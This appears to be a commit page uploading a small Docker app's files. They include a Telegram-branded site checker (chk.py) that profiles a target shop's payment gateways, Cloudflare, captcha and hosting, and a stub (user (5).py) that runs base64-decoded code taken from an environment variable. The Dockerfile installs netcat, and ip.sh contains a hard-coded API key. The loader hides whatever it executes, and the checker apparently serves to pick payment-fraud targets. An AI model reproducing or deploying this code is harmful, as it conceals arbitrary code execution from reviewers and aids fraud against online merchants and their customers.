Upload 7 files
Browse files- Dockerfile (1).txt +20 -0
- chk.py +99 -0
- info.sh +35 -0
- ip.sh +12 -0
- rawr.js +0 -0
- requirements.txt +11 -0
- user (5).py +5 -0
Dockerfile (1).txt
ADDED
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
FROM python:3.9
|
2 |
+
|
3 |
+
WORKDIR /code
|
4 |
+
|
5 |
+
COPY ./requirements.txt /code/requirements.txt
|
6 |
+
|
7 |
+
RUN pip install --no-cache-dir --upgrade -r /code/requirements.txt
|
8 |
+
RUN pip uninstall numpy -y
|
9 |
+
RUN pip install jq
|
10 |
+
RUN apt update && apt upgrade -y
|
11 |
+
RUN apt install netcat-traditional
|
12 |
+
RUN apt install bc
|
13 |
+
RUN apt install nodejs -y
|
14 |
+
|
15 |
+
RUN pip install numpy==1.26.4
|
16 |
+
COPY . .
|
17 |
+
|
18 |
+
EXPOSE 7860
|
19 |
+
|
20 |
+
CMD ["shiny", "run", "app.py", "--host", "0.0.0.0", "--port", "7860"]
|
chk.py
ADDED
@@ -0,0 +1,99 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/usr/bin/env python3
|
2 |
+
import re
|
3 |
+
import requests
|
4 |
+
import argparse
|
5 |
+
import json
|
6 |
+
|
7 |
+
def sys_url(url):
|
8 |
+
if not re.match(r'^https?://', url):
|
9 |
+
url = 'https://' + url
|
10 |
+
return url
|
11 |
+
|
12 |
+
def exturlz(text):
|
13 |
+
urls = re.findall(r'https?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', text)
|
14 |
+
if not urls:
|
15 |
+
urls = re.findall(r'www\.(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', text)
|
16 |
+
urls = [sys_url(url) for url in urls]
|
17 |
+
return urls
|
18 |
+
|
19 |
+
def check_website(url):
|
20 |
+
try:
|
21 |
+
response = requests.get(url, timeout=10)
|
22 |
+
html_content = response.text.lower()
|
23 |
+
httpstat = response.status_code
|
24 |
+
|
25 |
+
cloudflare = 'server' in response.headers and 'cloudflare' in response.headers['server'].lower()
|
26 |
+
captcha = 'recaptcha' in html_content or 'captcha' in html_content
|
27 |
+
|
28 |
+
pymnt_gwayz = {
|
29 |
+
'Stripe': ['stripe'],
|
30 |
+
'PayPal': ['paypal'],
|
31 |
+
'Shopify Payments': ['shopify'],
|
32 |
+
'Braintree': ['braintree'],
|
33 |
+
'Authorize.Net': ['authorize.net'],
|
34 |
+
'Afterpay': ['afterpay'],
|
35 |
+
'Worldpay': ['worldpay'],
|
36 |
+
'Square': ['squareup', 'square.com'],
|
37 |
+
'Adyen': ['adyen'],
|
38 |
+
'ProcessOut': ['processout'],
|
39 |
+
'Recurly': ['recurly'],
|
40 |
+
'Airwallex': ['airwallex'],
|
41 |
+
'Xendit': ['xendit']
|
42 |
+
}
|
43 |
+
|
44 |
+
gateways = []
|
45 |
+
for gateway, keywords in pymnt_gwayz.items():
|
46 |
+
if any(keyword in html_content for keyword in keywords):
|
47 |
+
gateways.append(gateway)
|
48 |
+
|
49 |
+
platform = 'WooCommerce' if 'woocommerce' in html_content else 'Unknown'
|
50 |
+
|
51 |
+
# Get IP info from check-host.cc API
|
52 |
+
api_url = 'https://check-host.cc/rest/V2/info'
|
53 |
+
headers = {'accept': 'application/json', 'Content-Type': 'application/json'}
|
54 |
+
data = {'target': url, 'apikey': 'NOKEY', 'ClientIP': None}
|
55 |
+
# Replace 'NOKEY' with your actual check-host.cc API key
|
56 |
+
|
57 |
+
response_ip = requests.post(api_url, headers=headers, data=json.dumps(data))
|
58 |
+
ip_info = response_ip.json()
|
59 |
+
|
60 |
+
# Extract relevant information from IP info
|
61 |
+
ip_details = f"""IP: {ip_info.get('ip', 'N/A')}
|
62 |
+
Hostname: {ip_info.get('hostname', 'N/A')}
|
63 |
+
ISP: {ip_info.get('isp', 'N/A')}
|
64 |
+
ASN: {ip_info.get('asn', 'N/A')}
|
65 |
+
ORG: {ip_info.get('org', 'N/A')}
|
66 |
+
Country: {ip_info.get('country', 'N/A')}
|
67 |
+
Region: {ip_info.get('region', 'N/A')}
|
68 |
+
City: {ip_info.get('city', 'N/A')}
|
69 |
+
Timezone: {ip_info.get('timezone', 'N/A')}
|
70 |
+
"""
|
71 |
+
|
72 |
+
chk_msg = f"""```TELEGRAM @VANO_GANZZZ
|
73 |
+
π Site Check Report π
|
74 |
+
β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’
|
75 |
+
{ip_details}
|
76 |
+
Site : {url}
|
77 |
+
Gateways : {', '.join(gateways) if gateways else 'Unknown'}
|
78 |
+
Cloudflare : {'β
' if cloudflare else 'β'}
|
79 |
+
Captcha : {'β
' if captcha else 'β'}
|
80 |
+
Platform : {platform}
|
81 |
+
HTTPS Status : {httpstat}```
|
82 |
+
Check-Host: https://check-host.cc/?m=INFO&target={url}"""
|
83 |
+
return chk_msg
|
84 |
+
except Exception as e:
|
85 |
+
error_msg = f"""
|
86 |
+
π **Site Check Report** π
|
87 |
+
β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’
|
88 |
+
κ **Site** : {url}
|
89 |
+
κ **Error** : {str(e)}
|
90 |
+
β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’β’ββ’"""
|
91 |
+
return error_msg
|
92 |
+
|
93 |
+
if __name__ == "__main__":
|
94 |
+
parser = argparse.ArgumentParser(description="Website checker script")
|
95 |
+
parser.add_argument("url", help="The URL of the website to check")
|
96 |
+
args = parser.parse_args()
|
97 |
+
|
98 |
+
result = check_website(args.url)
|
99 |
+
print(result)
|
info.sh
ADDED
@@ -0,0 +1,35 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
|
3 |
+
# Get uptime
|
4 |
+
uptime_string=$(uptime -p)
|
5 |
+
uptime_string=${uptime_string//up /}
|
6 |
+
|
7 |
+
# Get boot time
|
8 |
+
boot_time=$(uptime -s)
|
9 |
+
|
10 |
+
# Get CPU usage
|
11 |
+
cpu_usage=$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1"%"}')
|
12 |
+
|
13 |
+
# Get RAM usage
|
14 |
+
ram_total=$(free -g | awk 'NR==2{printf "%.0fGB", $2}')
|
15 |
+
ram_used=$(free -m | awk 'NR==2{printf "%.2fMB", $3/1024}')
|
16 |
+
ram_free=$(free -m | awk 'NR==2{printf "%.2fMB", $4/1024}')
|
17 |
+
|
18 |
+
# Get network usage
|
19 |
+
rx_bytes=$(cd .. && cat /sys/class/net/eth0/statistics/rx_bytes)
|
20 |
+
tx_bytes=$(cd .. && cat /sys/class/net/eth0/statistics/tx_bytes)
|
21 |
+
rx_mb=$(echo "scale=2; $rx_bytes/1024/1024" | bc)
|
22 |
+
tx_mb=$(echo "scale=2; $tx_bytes/1024/1024" | bc)
|
23 |
+
|
24 |
+
# Get disk IO usage
|
25 |
+
read_bytes=$(cd .. && cat /sys/block/sda/stat | awk '{print $3}')
|
26 |
+
write_bytes=$(cd .. && cat /sys/block/sda/stat | awk '{print $7}')
|
27 |
+
read_mb=$(echo "scale=2; $read_bytes/1024/1024" | bc)
|
28 |
+
write_mb=$(echo "scale=2; $write_bytes/1024/1024" | bc)
|
29 |
+
|
30 |
+
# Print the results
|
31 |
+
echo "This VPS has been running for $uptime_string from $boot_time +0800π"
|
32 |
+
echo "CPU: $cpu_usage"
|
33 |
+
echo "RAM: $ram_used/$ram_total"
|
34 |
+
echo "Network RX/TX: ${rx_mb}MB/${tx_mb}MB"
|
35 |
+
echo "IO R/W: ${read_mb}MB/${write_mb}MB"
|
ip.sh
ADDED
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
#!/bin/bash
|
2 |
+
IP_ADDRESS=$1
|
3 |
+
API_KEY="9dd714ba1364966e" # Ganti dengan API key Anda jika ada
|
4 |
+
|
5 |
+
# Mendapatkan output JSON dari API
|
6 |
+
output=$(curl -s "https://api.ipapi.is?q=${IP_ADDRESS}&key=${API_KEY}")
|
7 |
+
|
8 |
+
# Menghapus baris yang mengandung "whois"
|
9 |
+
filtered_output=$(echo "$output" | sed '/"whois":/d')
|
10 |
+
|
11 |
+
# Menampilkan output yang sudah difilter
|
12 |
+
echo "$filtered_output"
|
rawr.js
ADDED
The diff for this file is too large to render.
See raw diff
|
|
requirements.txt
ADDED
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
shiny==0.10.2
|
2 |
+
shinyswatch==0.6.1
|
3 |
+
seaborn==0.12.2
|
4 |
+
matplotlib==3.7.1
|
5 |
+
telethon
|
6 |
+
gTTS
|
7 |
+
psutil
|
8 |
+
speedtest-cli
|
9 |
+
requests
|
10 |
+
aiohttp
|
11 |
+
pybase64
|
user (5).py
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import base64
|
3 |
+
|
4 |
+
ENV = os.environ['ENV']
|
5 |
+
exec(base64.b64decode(ENV))
|